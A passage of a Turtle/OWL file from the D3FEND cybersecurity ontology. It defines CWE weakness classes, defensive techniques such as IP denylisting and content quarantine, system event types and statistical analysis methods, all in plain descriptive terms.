            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        d3f:CWE-943 .

d3f:CWE-908 a owl:Class ;
    rdfs:label "Use of Uninitialized Resource" ;
    d3f:cwe-id "CWE-908" ;
    d3f:definition "The product uses or accesses a resource that has not been initialized." ;
    rdfs:subClassOf d3f:CWE-665 .

d3f:CWE-915 a owl:Class ;
    rdfs:label "Improperly Controlled Modification of Dynamically-Determined Object Attributes" ;
    d3f:cwe-id "CWE-915" ;
    d3f:definition "The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified." ;
    d3f:synonym "AutoBinding",
        "Mass Assignment",
        "PHP Object Injection" ;
    rdfs:subClassOf d3f:CWE-913 .

d3f:CWE-93 a owl:Class ;
    rdfs:label "Improper Neutralization of CRLF Sequences ('CRLF Injection')" ;
    d3f:cwe-id "CWE-93" ;
    d3f:definition "The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs." ;
    rdfs:subClassOf d3f:CWE-74 .

d3f:CWE-940 a owl:Class ;
    rdfs:label "Improper Verification of Source of a Communication Channel" ;
    d3f:cwe-id "CWE-940" ;
    d3f:definition "The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin." ;
    rdfs:subClassOf d3f:CWE-346,
        d3f:CWE-923 .

d3f:CWE-96 a owl:Class ;
    rdfs:label "Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')" ;
    d3f:cwe-id "CWE-96" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template." ;
    rdfs:subClassOf d3f:CWE-94 .

d3f:Centroid-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Centroid-based Clustering" ;
    d3f:d3fend-id "D3A-CBC" ;
    d3f:definition "Centroid-based clustering organizes the data into non-hierarchical clusters, in contrast to hierarchical clustering defined below. K-means is the most widely-used centroid-based clustering algorithm. Centroid-based algorithms are efficient but sensitive to initial conditions and outliers." ;
    d3f:kb-article """## References
Google Developers. (n.d.). Clustering Algorithms. [Link](https://developers.google.com/machine-learning/clustering/clustering-algorithms)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:Clustering a owl:Class ;
    rdfs:label "Clustering" ;
    rdfs:subClassOf d3f:Summarizing .

d3f:CoefficientOfVariation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Coefficient of Variation" ;
    d3f:d3fend-id "D3A-COV" ;
    d3f:definition """The coefficient of variation (CV), also known as relative standard deviation (RSD), is a standardized measure of dispersion of a probability distribution or frequency distribution.

The coefficient of variation (CV) is defined as the ratio of the standard deviation to the mean .""" ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Coefficient of variation. [Link](https://en.wikipedia.org/wiki/Coefficient_of_variation)""" ;
    d3f:synonym "RSD",
        "Relative Standard Deviation" ;
    rdfs:subClassOf d3f:Variability .

d3f:CombinationLock a owl:Class ;
    rdfs:label "Combination Lock" ;
    d3f:definition "A combination lock is a type of locking device in which a sequence of symbols, usually numbers, is used to open the lock." ;
    rdfs:isDefinedBy <https://dbpedia.org/resource/Combination_lock> ;
    rdfs:seeAlso "Federal Specification FL-L-2937" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:Password ],
        d3f:PhysicalLock .

d3f:CommandLineInterface a owl:Class ;
    rdfs:label "Command Line Interface" ;
    d3f:definition "A command-line interface or command language interpreter (CLI), also known as command-line user interface, console user interface, and character user interface (CUI), is a means of interacting with a computer program where the user (or client) issues commands to the program in the form of successive lines of text (command lines). Command-line interfaces to computer operating systems are less widely used by casual computer users, who favor graphical user interfaces. Programs with command-line interfaces are generally easier to automate via scripting." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Command-line_interface> ;
    rdfs:subClassOf d3f:UserInterface ;
    skos:altLabel "CLI",
        "CUI",
        "Command-line Interface" .

d3f:ComputingSnapshot a owl:Class ;
    rdfs:label "Computing Snapshot" ;
    d3f:definition "In computer systems, a snapshot is the state of a system at a particular point in time." ;
    rdfs:isDefinedBy <https://dbpedia.org/resource/Snapshot_(computer_storage)> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Snapshot" .

d3f:ConfigurationEvent a owl:Class ;
    rdfs:label "Configuration Event" ;
    d3f:definition "A discrete event that creates, applies, modifies, or deletes configuration resources to determine or alter the function of a system, device, application, or service." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ConfigurationResource ],
        d3f:DigitalEvent .

d3f:ContentQuarantine a d3f:ContentQuarantine,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Content Quarantine" ;
    d3f:d3fend-id "D3-CQ" ;
    d3f:definition "Transfer content that does not comply with policy to a quarantine zone." ;
    d3f:kb-article """## How it works

Quarantining serves as a protective measure to isolate potentially harmful files or elements until they can be safely analyzed or processed.""" ;
    d3f:kb-reference d3f:Reference-MethodForContentDisarmandReconstruction_OPSWATInc ;
    d3f:quarantines d3f:DatabaseRecord,
        d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:quarantines ;
            owl:someValuesFrom d3f:File ],
        [ a owl:Restriction ;
            owl:onProperty d3f:quarantines ;
            owl:someValuesFrom d3f:DatabaseRecord ],
        d3f:ContentFiltering .

d3f:CorrelationClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Correlation Clustering" ;
    d3f:d3fend-id "D3A-CC" ;
    d3f:definition "Correlation clustering provides a method for clustering a set of objects into the optimum number of clusters without specifying that number in advance." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Correlation clustering. [Link](https://en.wikipedia.org/wiki/Correlation_clustering)""" ;
    rdfs:subClassOf d3f:High-dimensionClustering .

d3f:D3FENDKBThing a owl:Class ;
    rdfs:label "D3FEND KB Thing" .

d3f:DHCPDiscoverEvent a owl:Class ;
    rdfs:label "DHCP Discover Event" ;
    d3f:definition "An event where a DHCP client broadcasts a DISCOVER message to identify available DHCP servers capable of providing IP configuration." ;
    rdfs:subClassOf d3f:DHCPEvent ;
    skos:altLabel "DHCPDISCOVER" .

d3f:DHCPOfferEvent a owl:Class ;
    rdfs:label "DHCP Offer Event" ;
    d3f:definition "An event where a DHCP server sends an OFFER message to a client in response to a DISCOVER request, proposing an IP address and associated configuration parameters." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:DHCPDiscoverEvent ],
        d3f:DHCPEvent ;
    skos:altLabel "DHCPOFFER" .

d3f:DNSQueryEvent a owl:Class ;
    rdfs:label "DNS Query Event" ;
    d3f:definition "An event where a DNS query is made to resolve a domain name." ;
    rdfs:subClassOf d3f:DNSEvent .

d3f:DatabaseServiceApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Database Service Application" ;
    d3f:definition "A software application that interacts with a database management system (DBMS) hosted as a separate, standalone service or server." ;
    d3f:instructs d3f:DatabaseService ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:instructs ;
            owl:someValuesFrom d3f:DatabaseService ],
        d3f:DatabaseApplication,
        d3f:ServiceApplication .

d3f:Density-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Density-based Clustering" ;
    d3f:d3fend-id "D3A-DBC" ;
    d3f:definition "Density-based clustering connects areas of high example density into clusters. This allows for arbitrary-shaped distributions as long as dense areas can be connected." ;
    d3f:kb-article """## References
Google Developers. (n.d.). Clustering algorithms. [Link](https://developers.google.com/machine-learning/clustering/clustering-algorithms)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:DescriptionLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Description Logic" ;
    d3f:d3fend-id "D3A-DL" ;
    d3f:definition "A description logic (DL) is a form of logic usually more expressive than propositional logic but less expressive than first-order logic." ;
    d3f:kb-article """## How it works
The core reasoning problems for description logics (DLs) are (usually) decidable, and efficient decision procedures have been designed and implemented for these problems. There are general, spatial, temporal, spatiotemporal, and fuzzy description logics, and each description logic features a different balance between expressive power and reasoning complexity by supporting different sets of mathematical constructors.

DLs are used in artificial intelligence to describe and reason about the relevant concepts of an application domain (known as terminological knowledge). It is of particular importance in providing a logical formalism for ontologies and the Semantic Web: the Web Ontology Language (OWL) and its profiles are based on DLs.

## References
1. Description logic. (2023, April 16). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Description_logic)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:DetectionEvent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Detection Event" ;
    d3f:definition "An event capturing the identification of a potential security issue, such as unauthorized access attempts, policy violations, or anomalous activities. Detection events form the foundation of cybersecurity monitoring and response." ;
    d3f:related d3f:Detect ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/categories/findings> ;
    rdfs:subClassOf d3f:SecurityEvent .

d3f:DigitalFingerprint a owl:Class ;
    rdfs:label "Digital Fingerprint" ;
    d3f:definition "A digital signature uniquely identifies data and has the property that changing a single bit in the data will cause a completely different message digest to be generated." ;
    rdfs:isDefinedBy <https://csrc.nist.gov/glossary/term/digital_fingerprint> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/fingerprint> ;
    rdfs:subClassOf d3f:Identifier .

d3f:DiskImage a owl:Class ;
    rdfs:label "Disk Image" ;
    d3f:definition "A disk image is a snapshot of a storage device's structure and data typically stored in one or more computer files on another storage device." ;
    rdfs:isDefinedBy <https://en.wikipedia.org/wiki/Disk_image> ;
    rdfs:seeAlso <https://dbpedia.org/resource/Disk_image> ;
    rdfs:subClassOf d3f:StorageImage .

d3f:Distribution-basedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Distribution-based Clustering" ;
    d3f:d3fend-id "D3A-DBC" ;
    d3f:definition "Distribution-based clustering creates and groups data points based on their likely hood of belonging to the same probability distribution (Gaussian, Binomial, etc.) in the data." ;
    d3f:kb-article """## References
AnalytixLabs. (n.d.). Types of Clustering Algorithms. [Link](https://www.analytixlabs.co.in/blog/types-of-clustering-algorithms/#:~:text=Distribution-Based)""" ;
    rdfs:subClassOf d3f:ClusterAnalysis .

d3f:EmailSendEvent a owl:Class ;
    rdfs:label "Email Send Event" ;
    d3f:definition "An event where an email is transmitted from a client to a recipient via a mail server. This process often involves protocols such as SMTP or its secure variants, with potential authentication and encryption for secure delivery." ;
    rdfs:subClassOf d3f:EmailEvent .

d3f:EmbeddedComputer a owl:Class ;
    rdfs:label "Embedded Computer" ;
    d3f:definition "An embedded computer is a computer system -- a combination of a computer processor, computer memory, and input/output peripheral devices-that has a dedicated function within a larger mechanical or electrical system. It is embedded as part of a complete device often including electrical or electronic hardware and mechanical parts. Because an embedded system typically controls physical operations of the machine that it is embedded within, it often has real-time computing constraints. Embedded systems control many devices in common use today. Ninety-eight percent of all microprocessors manufactured are used in embedded systems." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Embedded_system> ;
    rdfs:subClassOf d3f:ClientComputer ;
    skos:altLabel "Embedded System" .

d3f:EventLogEnableEvent a owl:Class ;
    rdfs:label "Event Log Enable Event" ;
    d3f:definition "An event where the event logging service is enabled, allowing it to actively collect and record logs." ;
    rdfs:subClassOf d3f:EventLogEvent .

d3f:EventLogStopEvent a owl:Class ;
    rdfs:label "Event Log Stop Event" ;
    d3f:definition "An event indicating that the event logging service has been stopped, halting the recording of system events." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:EventLogStartEvent ],
        d3f:EventLogEvent .

d3f:FileEncryptionEvent a owl:Class ;
    rdfs:label "File Encryption Event" ;
    d3f:definition "An event involving the application of cryptographic techniques to a file, ensuring its content is securely encoded and inaccessible without proper decryption keys." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:FileCreationEvent ],
        d3f:FileEvent .

d3f:FileHeaderBlockSignature a owl:Class ;
    rdfs:label "File Header Block Signature" ;
    d3f:definition "A sequence of bytes used to identify and validate specific header sections within a file." ;
    rdfs:subClassOf d3f:FileMetadata .

d3f:FileMountEvent a owl:Class ;
    rdfs:label "File Mount Event" ;
    d3f:definition "An event where a file system or storage volume is mounted, making its files and directories accessible to the operating system or applications." ;
    rdfs:subClassOf d3f:FileEvent .

d3f:FilePathOpenFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File Path Open Function" ;
    d3f:accesses d3f:File ;
    d3f:definition "Has an input of a file path, and opens a file handle for reading or writing." ;
    d3f:invokes d3f:OpenFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:OpenFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:File ],
        d3f:Subroutine .

d3f:ForwardResolutionIPDenylisting a d3f:ForwardResolutionIPDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Forward Resolution IP Denylisting" ;
    d3f:blocks d3f:InboundInternetDNSResponseTraffic ;
    d3f:d3fend-id "D3-FRIDL" ;
    d3f:definition "Blocking a DNS lookup's answer's IP address value." ;
    d3f:kb-article """## How it works

This technique prevents a client from learning IP addresses deemed to be potentially malicious, which would have been delivered via forward resolution responses.

Responses to forward resolution requests (that is, requests where a domain is sent and IP(s) are returned) are collected, and the IP address(es) included as a response are examined. If the IP address(es) are in a range included in the blacklist, then the response is dropped and not forwarded to the client.

The DNS lookup can be blocked by either dropping the network traffic with an inline device, or modifying the value of the response sent by the DNS server. To transparently prevent client applications from hanging on a request, it is common practice to replace malicious values with addresses in the range 127.0.0.0/8 or the address of a honeypot maintained by the network administrators.

## Considerations

* This technique does not prevent the client from contacting the blacklisted IP, only from learning about this IP address via a nameserver lookup request.
* DNS Response traffic can be transmitted over many different protocols, which presents a challenge to implementing methods to extract all DNS answer IP address value(s).
  * DNS has historically used UDP port 53, with TCP port 53 instead used for responses over 512 bytes or after a lack of response over UDP.
  * Usage of new protocols to provide confidentiality for DNS traffic, such as DoH (DNS over HTTPS) and DoT (DNS over TLS), complicates collection of the IP address(es) in DNS responses. These protocols have often been enabled in browser settings transparently after a browser update, with DNS requests proxied over one of these cryptographic protocols through a specified host.
* This technique must be implemented logically between the application that receives the response and the server which sent the response.
  * DNS responses sent in an encrypted manner, such as those using DoH or DoT, will require interception of the TLS connections in order to determine the IP address(es) in the response.
* Replacing the response is not effective in the case that the nameserver uses a technique to provide integrity of its responses, such as DNSSEC for DNS responses.""" ;
    d3f:kb-reference d3f:Reference-UseDNSPolicyForApplyingFiltersOnDNSQueries ;
    d3f:synonym "Forward Resolution IP Blacklisting" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:InboundInternetDNSResponseTraffic ],
        d3f:DNSDenylisting .

d3f:GeometricMean a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Geometric Mean" ;
    d3f:d3fend-id "D3A-GM" ;
    d3f:definition "The nth root of the product of the data values, where there are n of these. This measure is valid only for data that are measured absolutely on a strictly positive scale." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:Group a owl:Class ;
    rdfs:label "Group" ;
    rdfs:subClassOf d3f:D3FENDCore .

d3f:Grouping a owl:Class ;
    rdfs:label "Grouping" ;
    rdfs:subClassOf d3f:Summarizing .

d3f:HTMLFile a owl:Class ;
    rdfs:label "HTML File" ;
    d3f:definition "A document file encoded in HTML.The HyperText Markup Language, or HTML is the standard markup language for documents designed to be displayed in a web browser. It can be assisted by technologies such as Cascading Style Sheets (CSS) and scripting languages such as JavaScript. Web browsers receive HTML documents from a web server or from local storage and render the documents into multimedia web pages. HTML describes the structure of a web page semantically and originally included cues for the appearance of the document." ;
    rdfs:seeAlso <http://dbpedia.org/resource/HTML> ;
    rdfs:subClassOf d3f:DocumentFile ;
    skos:altLabel "HTML File" .

d3f:HardwareDeviceBindEvent a owl:Class ;
    rdfs:label "Hardware Device Bind Event" ;
    d3f:definition "An event where a device is logically bound to a system or process, typically for exclusive use or integration with specific software components." ;
    rdfs:subClassOf d3f:HardwareDeviceStateEvent .

d3f:HardwareDeviceEnabledEvent a owl:Class ;
    rdfs:label "Hardware Device Enabled Event" ;
    d3f:definition "An event where a device becomes operational and available for use, typically following initialization, activation, or repair." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:HardwareDeviceConnectionEvent ],
        d3f:HardwareDeviceStateEvent .

d3f:HarmonicMean a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Harmonic Mean" ;
    d3f:d3fend-id "D3A-HM" ;
    d3f:definition "The reciprocal of the arithmetic mean of the reciprocals of the data values. This measure too is valid only for data that are measured absolutely on a strictly positive scale." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:Histogramming a owl:Class ;
    rdfs:label "Histogramming" ;
    rdfs:subClassOf d3f:Summarizing .

d3f:HostReboot a d3f:HostReboot,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Host Reboot" ;
    d3f:d3fend-id "D3-HR" ;
    d3f:definition "Initiating a host's reboot sequence to terminate all running processes." ;
    d3f:kb-article """## How It Works

Host reboot can either be initiated in the physical presence of the device using the power functions or remotely using the provided user interface or an installed EDR agent (with the available function). This process may allow for the removal of specific types of malware, such as fileless malware, and can also prevent further damage, for example, if the system is part of a botnet.

## Considerations

- If the attacker has achieved persistence techniques, this technique may not be effective
- Compromised systems may not respond to remote commands to shutdown or reboot, requiring physical intervention.
- Shutting down a system will usually result in the memory losing its state which can be useful in forensic activities so this should be considered when deciding to shutdown.
- Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.""" ;
    d3f:kb-reference d3f:Reference-NearMemoryInMemoryDetectionofFilelessMalware ;
    d3f:terminates d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:terminates ;
            owl:someValuesFrom d3f:Process ],
        d3f:HostShutdown .

d3f:IPCNetworkTraffic a owl:Class ;
    rdfs:label "IPC Network Traffic" ;
    d3f:definition "IPC network traffic is network traffic related to inter-process communication (IPC) between network nodes..This includes only network traffic conforming to a standard IPC protocol; not custom protocols." ;
    rdfs:subClassOf d3f:NetworkTraffic .

d3f:ImpersonateUser a d3f:SystemCall,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impersonate User" ;
    d3f:forges d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:forges ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:SystemCall .

d3f:InboundInternetEncryptedTraffic a owl:Class ;
    rdfs:label "Inbound Internet Encrypted Traffic" ;
    d3f:definition "Inbound  internet encrypted traffic is encrypted network traffic on an incoming connection initiated from a host outside the network to a host within a network ." ;
    rdfs:subClassOf d3f:InboundInternetNetworkTraffic .

d3f:InboundInternetWebTraffic a owl:Class ;
    rdfs:label "Inbound Internet Web Traffic" ;
    d3f:definition "Inbound internet web traffic is network traffic that is: (a) on an incoming connection initiated from a host outside the network to a host within a network, and (b) using a standard web protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:InboundInternetNetworkTraffic .

d3f:InputFunction a owl:Class ;
    rdfs:label "Input Function" ;
    d3f:definition "Generic function that receives input from an untrusted source." ;
    rdfs:subClassOf d3f:Subroutine .

d3f:IntegerRangeValidation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Integer Range Validation" ;
    d3f:d3fend-id "D3-IRV" ;
    d3f:definition "Ensuring that an integer is within a valid range." ;
    d3f:hardens d3f:MathematicalFunction ;
    d3f:kb-article """## How it Works
Integer Range Validation can be done by programmatically checking the value of an integer before or after an operation to determine if the resulting value will be valid.
Checking the value of an integer to ensure it is in a valid range helps prevent integer overflow, wraparound, and logical errors.

## Considerations
* A valid range can be defined by language, data-type, or logical constraints.
* Take extra care when doing operations on integers that will result in a value close to the bounds of a valid range.
* Note: This resource should not be considered a definitive or exhaustive coding guideline.""" ;
    d3f:kb-reference d3f:Reference-IntegerRangeValidation_SEI ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:MathematicalFunction ],
        d3f:SourceCodeHardening .

d3f:InterquartileRange a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Interquartile Range" ;
    d3f:d3fend-id "D3A-IR" ;
    d3f:definition "The interquartile range (IQR) is a measure of statistical dispersion, which is the spread of the data and is defined as the difference between the 75th and 25th percentiles of the data." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Interquartile range. [Link](https://en.wikipedia.org/wiki/Interquartile_range)""" ;
    d3f:synonym "IQR" ;
    rdfs:subClassOf d3f:Variability .

d3f:IntrusionDetectionSystem a owl:Class ;
    rdfs:label "Intrusion Detection System" ;
    d3f:definition "An intrusion detection system (IDS) is a device or software application that monitors a network or systems for malicious activity or policy violations. Any intrusion activity or violation is typically reported either to an administrator or collected centrally using a security information and event management (SIEM) system. A SIEM system combines outputs from multiple sources and uses alarm filtering techniques to distinguish malicious activity from false alarms." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Intrusion_detection_system> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "IDS" .

d3f:JavascriptFile a d3f:ExecutableScript,
        owl:NamedIndividual ;
    rdfs:label "Javascript File" .

d3f:KernelModuleLoadEvent a owl:Class ;
    rdfs:label "Kernel Module Load Event" ;
    d3f:definition "An event representing the loading of a kernel module, such as a device driver or dynamically linked extension, into the operating system kernel to extend or modify its capabilities." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:MemoryAllocationEvent ],
        d3f:KernelModuleEvent .

d3f:Kurtosis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kurtosis" ;
    d3f:d3fend-id "D3A-KUR" ;
    d3f:definition "The measure of the \"fatness\" of the tails of a pmf or pdf. The fourth standardized moment of the distribution." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Probability distribution. [Link](https://en.wikipedia.org/wiki/Probability_distribution)""" ;
    rdfs:subClassOf d3f:DistributionProperties .

d3f:LM-0006 a owl:Class ;
    rdfs:label "Launch Vehicle Interface - SPARTA" ;
    d3f:attack-id "LM-0006" ;
    d3f:definition "Threat actors may attempt to exploit reduced protections placed on the interfaces between launch vehicles and payloads in order to move from one to the other." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0006/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Launch Vehicle Interface" .

d3f:LinearRegression a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Linear Regression" ;
    d3f:d3fend-id "D3A-LR" ;
    d3f:definition "Statistical regression method used for predictive analysis by modeling the linear relationship between independent and dependent variables." ;
    d3f:kb-article """## How it works
Takes independent variables (i.e. covariate, features, predictors, input variables) and dependent variables (i.e. response, output, “thing to be estimated”) and produces the coefficient(s) and intercept for a linear equation (e.g. (β1, β0) for y = β1x + β0) which predicts the relationship between the independent and independent variables by minimizing a cost function, Mean Squared Error, either directly in the case of univariate linear regression or by gradient descent* in the case of multivariate linear regression.

## Considerations
 - There are four principal assumptions required for good results using linear regression (the first letters of the four principal assumptions form the "LINE" mnemonic):
   - Linearity and Additivity
   - Independent Residuals
   - Normal Residual Distributions
   - Equal Variances (i.e. homoscedasticity)
 - Linear regression is a low variance/high bias model.
 - Optimizers like Adam, Batch, and Mini-Batch and others are available for certain applications and data sets.
- A large learning ratio or training coefficient may lead to divergent behavior of the model and too small of values may lead to long run times and inefficiency.


## Verification Approach
 - Models are often evaluated by examining one or more of the metrics of R2, Root Mean Squared Error (RMSE), Mean Absolute Error (MAE), and Mean Absolute Percentage Error (MAPE).
 - While there is no generally accepted single best performance metric as a criterion, users of linear regression should consider the suitability of one or more of these metrics for assessing the performance of their model.
 - Use well known data sets to verify model execution.

## Validation Approach
 - Violating the principal assumptions of linear regression results in poor or misleading results.
 - Ensure data is truly representative and if there are any known biases.


## References
1. Gawali, Suvarna. “Linear Regression Algorithm to Make Predictions Easily.” Analytics Vidhya, 22 July 2022, https://www.analyticsvidhya.com/blog/2021/06/linear-regression-in-machine-learning/.
1. Nau, Robert. “Statistical Forecasting: Notes On Regression and Time Series Analysis.” Introduction to Linear Regression Analysis, Duke University Fuqua School of Business, 18 Aug. 2020, https://people.duke.edu/~rnau/regintro.htm.
1. Ng, Ritchie. “Evaluating a Linear Regression Model.” Ritchieng.github.io, 8 Jan. 2023, https://www.ritchieng.com/machine-learning-evaluate-linear-regression-model/.
1. Bochkarev, Alexei. "A New Typology Design of Performance Metrics to Measure Errors in Machine Learning Regression Algorithms", 2019, https://www.researchgate.net/publication/330661543_A_New_Typology_Design_of_Performance_Metrics_to_Measure_Errors_in_Machine_Learning_Regression_Algorithms.""" ;
    rdfs:subClassOf d3f:RegressionAnalysis .

d3f:LoadLibraryEvent a owl:Class ;
    rdfs:label "Load Library Event" ;
    d3f:definition "An event where a process dynamically loads a library or module into its memory space, extending its capabilities." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ProcessCreationEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:ProcessEvent .

d3f:LocalFileAccessMediation a d3f:LocalFileAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local File Access Mediation" ;
    d3f:d3fend-id "D3-LFAM" ;
    d3f:definition "Local file access mediation is the process of an operating system granting or denying a specific access request to a local file." ;
    d3f:filters d3f:OpenFile ;
    d3f:kb-reference d3f:Reference-FileAndFolderPermissions ;
    d3f:synonym "Local File Access Control" ;
    rdfs:comment "Replaces d3-LFP" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:OpenFile ],
        d3f:SystemCallFiltering .

d3f:LogisticRegression a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Logistic Regression" ;
    d3f:d3fend-id "D3A-LR" ;
    d3f:definition "Logistic regression is estimating the parameters of a logistic model." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Logistic regression. [Link](https://en.wikipedia.org/wiki/Logistic_regression)""" ;
    rdfs:subClassOf d3f:RegressionAnalysis .

d3f:LogonEvent a owl:Class ;
    rdfs:label "Logon Event" ;
    d3f:definition "An authentication event where a new session is initiated, signifying the successful validation of credentials and establishment of an authorized connection to a system, application, or resource. This marks the beginning of the subject’s authenticated interaction with the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Session ],
        d3f:AuthenticationEvent .

d3f:MailService a owl:Class ;
    rdfs:label "Mail Service" ;
    d3f:definition "A mail service provides the ability to send and receive mail across a computer network.  The mail service runs on message transfer agents (i.e., mail servers) and is accessed by users through an email client." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Email>,
        <http://dbpedia.org/resource/Message_transfer_agent> ;
    rdfs:subClassOf d3f:NetworkService ;
    skos:altLabel "Email Service" .

d3f:Matching a owl:Class ;
    rdfs:label "Matching" ;
    rdfs:subClassOf d3f:AnalyticalPurpose .

d3f:Mean a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mean" ;
    d3f:d3fend-id "D3A-MEA" ;
    d3f:definition "The sum of all measurements divided by the number of observations in the data set." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:MeanAbsoluteDeviation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mean Absolute Deviation" ;
    d3f:d3fend-id "D3A-MAD" ;
    d3f:definition "The mean absolute deviation (MAD), also referred to as the \"mean deviation\" or sometimes \"average absolute deviation\", is the mean of the data's absolute deviations around the data's mean: the average (absolute) distance from the mean." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Average absolute deviation. [Link](https://en.wikipedia.org/wiki/Average_absolute_deviation)""" ;
    d3f:synonym "MAD" ;
    rdfs:subClassOf d3f:AverageAbsoluteDeviation .

d3f:Median a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Median" ;
    d3f:d3fend-id "D3A-MED" ;
    d3f:definition "The middle value that separates the higher half from the lower half of the data set. The median and the mode are the only measures of central tendency that can be used for ordinal data, in which values are ranked relative to each other but are not measured absolutely." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:MedianAbsoluteDeviation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Median Absolute Deviation" ;
    d3f:d3fend-id "D3A-MAD" ;
    d3f:definition "The median absolute deviation (also MAD) is the median of the absolute deviation from the median." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Average absolute deviation. [Link](https://en.wikipedia.org/wiki/Average_absolute_deviation)""" ;
